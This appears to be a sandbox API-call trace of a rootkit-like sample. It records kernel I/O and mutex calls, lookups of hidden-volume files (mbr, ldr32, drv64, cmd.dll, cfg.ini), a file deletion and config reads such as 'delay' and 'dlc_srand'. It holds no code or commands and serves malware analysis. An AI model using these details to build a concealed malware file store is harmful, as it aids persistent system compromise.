0xfffffa8003baf190 [0124.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.645] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.645] IdePortDispatch () returned 0x103 [0124.645] KeWaitForMutexObject () returned 0x0 [0124.645] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.645] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.645] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.645] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.645] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.645] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.646] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.646] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.646] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.646] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.646] KeLeaveCriticalRegion () [0124.646] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.646] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.646] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.646] KeEnterCriticalRegion () [0124.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.646] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.646] IdePortDispatch () returned 0x103 [0124.646] KeWaitForMutexObject () returned 0x0 [0124.646] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.646] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.646] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.646] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.646] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.646] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.646] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.646] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.646] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.646] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.646] KeLeaveCriticalRegion () [0124.646] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.646] ReleaseMutex (hMutex=0x100) returned 1 [0124.647] Sleep (dwMilliseconds=0x2bf20) [0124.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d7fa370, dwHighDateTime=0x1d24fa4)) [0124.653] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.653] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.653] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.653] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.653] KeEnterCriticalRegion () [0124.653] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.653] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.653] IdePortDispatch () returned 0x103 [0124.653] KeWaitForMutexObject () returned 0x0 [0124.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.653] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.653] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.653] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.653] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.653] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2220 [0124.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.653] KeLeaveCriticalRegion () [0124.653] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.653] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.653] KeEnterCriticalRegion () [0124.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.654] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.654] KeLeaveCriticalRegion () [0124.654] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.654] KeEnterCriticalRegion () [0124.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.654] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.654] IdePortDispatch () returned 0x103 [0124.654] KeWaitForMutexObject () returned 0x0 [0124.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.654] KeLeaveCriticalRegion () [0124.654] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.654] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.654] KeEnterCriticalRegion () [0124.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.654] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003597000 [0124.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.654] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.654] IdePortDispatch () returned 0x103 [0124.654] KeWaitForMutexObject () returned 0x0 [0124.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.655] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.655] IdePortDispatch () returned 0x103 [0124.655] KeWaitForMutexObject () returned 0x0 [0124.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.655] KeLeaveCriticalRegion () [0124.655] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.655] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.655] KeEnterCriticalRegion () [0124.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.655] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.655] KeLeaveCriticalRegion () [0124.655] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.655] KeEnterCriticalRegion () [0124.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.655] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.655] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1b70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.655] KeLeaveCriticalRegion () [0124.655] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.655] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.656] KeEnterCriticalRegion () [0124.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.656] ExFreePoolWithTag (P=0xfffffa8003bf2220, Tag=0x0) [0124.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.656] KeLeaveCriticalRegion () [0124.656] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.656] ReleaseMutex (hMutex=0xf0) returned 1 [0124.656] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.656] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.656] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.656] KeEnterCriticalRegion () [0124.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.656] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.656] IdePortDispatch () returned 0x103 [0124.656] KeWaitForMutexObject () returned 0x0 [0124.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.656] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.656] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.656] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.656] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.656] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.656] KeLeaveCriticalRegion () [0124.656] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.656] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.656] KeEnterCriticalRegion () [0124.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.656] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.656] KeLeaveCriticalRegion () [0124.656] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.656] KeEnterCriticalRegion () [0124.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.657] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.657] IdePortDispatch () returned 0x103 [0124.657] KeWaitForMutexObject () returned 0x0 [0124.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.657] KeLeaveCriticalRegion () [0124.657] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.657] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.657] KeEnterCriticalRegion () [0124.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003598000 [0124.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.657] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.657] IdePortDispatch () returned 0x103 [0124.657] KeWaitForMutexObject () returned 0x0 [0124.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.657] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.657] IdePortDispatch () returned 0x103 [0124.658] KeWaitForMutexObject () returned 0x0 [0124.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.658] KeLeaveCriticalRegion () [0124.658] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.658] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.658] KeEnterCriticalRegion () [0124.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.658] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.658] KeLeaveCriticalRegion () [0124.658] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.658] KeEnterCriticalRegion () [0124.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.658] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.658] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf2ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.658] KeLeaveCriticalRegion () [0124.658] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.658] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.658] KeEnterCriticalRegion () [0124.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.658] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.658] KeLeaveCriticalRegion () [0124.658] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.658] ReleaseMutex (hMutex=0xf0) returned 1 [0124.659] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.659] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.659] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.659] KeEnterCriticalRegion () [0124.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.659] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.659] IdePortDispatch () returned 0x103 [0124.659] KeWaitForMutexObject () returned 0x0 [0124.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.659] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.659] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.659] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.659] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.659] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf24a0 [0124.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.659] KeLeaveCriticalRegion () [0124.659] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.659] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.659] KeEnterCriticalRegion () [0124.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.659] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.659] KeLeaveCriticalRegion () [0124.659] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.659] KeEnterCriticalRegion () [0124.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.659] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.659] IdePortDispatch () returned 0x103 [0124.660] KeWaitForMutexObject () returned 0x0 [0124.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.660] KeLeaveCriticalRegion () [0124.660] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.660] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.660] KeEnterCriticalRegion () [0124.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.660] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003599000 [0124.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.660] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.660] IdePortDispatch () returned 0x103 [0124.660] KeWaitForMutexObject () returned 0x0 [0124.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.660] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.660] IdePortDispatch () returned 0x103 [0124.660] KeWaitForMutexObject () returned 0x0 [0124.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.661] KeLeaveCriticalRegion () 